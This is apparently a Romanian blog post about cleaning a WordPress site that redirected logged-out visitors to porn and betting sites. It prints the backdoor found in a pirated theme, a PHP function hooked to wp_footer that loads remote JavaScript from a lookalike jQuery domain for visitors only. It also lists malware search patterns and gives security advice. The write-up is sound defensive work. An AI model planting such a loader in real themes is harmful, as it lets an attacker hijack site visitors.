WordPress face redirect catre site-uri porno sau de pariuri? Cauza reala

Un prieten m-a sunat panicat: „Bai, site-ul meu pe WordPress face redirect random catre site-uri xxx si de pariuri. Dar doar cand nu sunt logat.”

Si da, exact asa se intampla: cand eram logat in wp-admin, totul parea perfect. Cand intram din incognito (sau ca vizitator normal), la un refresh din cand in cand ma arunca pe domenii dubioase.

Primul pas: backup si investigatie metodica

Am descarcat rapid un backup complet din cPanel si am inceput sa sap sistematic:

  • am verificat fisierele temei
  • am cautat dupa tiparele clasice: eval, base64_decode, gzinflate, str_rot13
  • am dezactivat plugin-urile pe rand, ca sa exclud un plugin compromis
  • am analizat sursa paginii si request-urile din browser

Problema era ca redirecturile nu erau constante si, cel mai important, nu apareau pentru utilizatorii autentificati. Asta indica un cod care filtreaza „victimele” (vizitatorii) si se ascunde de admin.

Indiciul-cheie: redirect doar cand nu esti logat

Detaliul asta e extrem de important si il vad des in infectiile WordPress: malware-ul ruleaza doar pentru vizitatori ca sa nu-l observi usor in timp ce lucrezi pe site.

Asa ca am inceput sa caut explicit dupa conditii de genul:

  • is_user_logged_in()
  • current_user_can()
  • hook-uri in wp_head / wp_footer

Functia „curata” care nu era deloc curata

Dupa ceva timp, am gasit o bucata de cod ciudata, ascunsa intr-un fisier din tema:


if (!function_exists('wp_func_jquery')) {
    if (!current_user_can('read')) {
        function wp_func_jquery()
        {
            $host = 'http://';
            $jquery = $host . 'x' . 'jquery.org/jquery-ui.js';
            $headers = @get_headers($jquery, 1);
            if ($headers[0] == 'HTTP/1.1 200 OK') {
                echo(wp_remote_retrieve_body(wp_remote_get($jquery)));
            }
        }

        add_action('wp_footer', 'wp_func_jquery');
    }
}

La prima vedere, nu pare „malware-ul clasic”: nu foloseste eval, nu decodeaza nimic din base64, nu are string-uri obscure si nu arata ca un backdoor tipic.

Si tocmai asta il face periculos.

Cum functiona de fapt: injectare remote, greu de detectat

Codul face cateva lucruri foarte „smechere”:

  • se executa doar daca utilizatorul nu are permisiunea read (adica, in practica, vizitatorii neautentificati)
  • se leaga in wp_footer si injecteaza JavaScript la final de pagina
  • incarca un fisier JavaScript din exterior si il afiseaza direct in pagina
  • redirectul nu era in codul sursa al site-ului, ci in fisierul remote servit de atacator
  • la o analiza superficial, vezi acolo jquery.org, care pare ceva oficial (site-ul oficial e jquery.com) si la care se mai concateneaza un x in fata domeniului – site-ul atacatorului

Practic, codul site-ului nu continea explicit redirecturile. Ele veneau dintr-o resursa externa, care putea fi schimbata oricand.

Nu am descoperit eu apa calda (dar e bine de stiut)

Ca sa fie clar: tehnica asta nu e ieri-azi. E o metoda relativ obisnuita in lumea WordPress malware: un cod mic, ascuns in tema sau intr-un plugin, care incarca un script remote si il serveste doar vizitatorilor, ca sa nu fie observat de admin.

De ce merita povestita? Pentru ca daca nu te-ai mai izbit de asa ceva, poti pierde ore sau zile cautand redirectul in codul local, fara sa-ti dai seama ca de fapt vine dintr-un fisier JavaScript incarcat din exterior.

Am sters codul si site-ul si-a revenit. Dar ramanea intrebarea: cum a ajuns acolo?

Dupa ce am eliminat functia si am curatat fisierul, redirecturile au disparut imediat. Dar am intrat in faza urmatoare, cea mai importanta:

  • A fost un plugin vulnerabil?
  • Versiunea de PHP sau WordPress era prea veche?
  • S-a spart wp-admin-ul prin brute force?
  • A fost compromis contul de cPanel?

Si apoi a venit raspunsul real, pe care multi nu vor sa-l auda.

Cauza reala: tema era piratata (nulled theme)

Tema nu fusese cumparata din surse oficiale. Fusese descarcata „moca” de pe un site dubios, o asa-numita tema nulled.

Codul era acolo de la bun inceput, inca din ziua instalarii. Nu era vorba ca „site-ul a fost spart” recent. Backdoor-ul venise la pachet. Mi-am dat seama cand am observat ca fisierul cu functia cu pricina avea aceeasi data ca si restul fisierelor. Nu fusese modificat ulterior.

Si partea cea mai periculoasa: ani de zile totul a fost ok. Cel mai probabil, atacatorul a servit mult timp un fisier JavaScript „curat”, ca sa nu trezeasca suspiciuni.

La un moment dat, a schimbat continutul resursei remote si a adaugat codul de redirect la finalul librariei. Instant, toate site-urile care includeau acel script au inceput sa redirectioneze vizitatorii.

Lectia: „gratuit” la WordPress inseamna adesea „platesti altfel”

O tema sau un plugin piratat nu e gratuit. Platesti cu:

  • reputatia site-ului
  • SEO (caderi in Google, avertismente, trafic pierdut)
  • increderea vizitatorilor
  • timp, nervi si bani

Cel mai periculos malware nu e cel care „urla” si sparge tot. Ci cel care sta ascuns, filtreaza vizitatorii si asteapta momentul potrivit.

Ce recomand (pe scurt)

  • Foloseste teme si plugin-uri doar din surse oficiale / reputabile.
  • Tine WordPress, tema si plugin-urile la zi.
  • Nu ignora comportamentele „random” (mai ales redirecturi doar pentru vizitatori).
  • Monitorizeaza fisierele si schimbarile (file integrity / security plugin / backup-uri cu versiuni).
  • Poti folosi AI-ul: Claude, Codex, whatever si sa-i spui sa caute pattern-uri de redirect in backup-ul site-ului si sa-i dai inclusiv functia mai sus postata, in prompt, ca sa inteleaga mai bine mecanismul pe care sa-l identifice.

Daca site-ul tau WordPress face redirect-uri dubioase doar cand nu esti logat, poate acest articol iti va fi de ajutor.

Sursa poza: Unsplash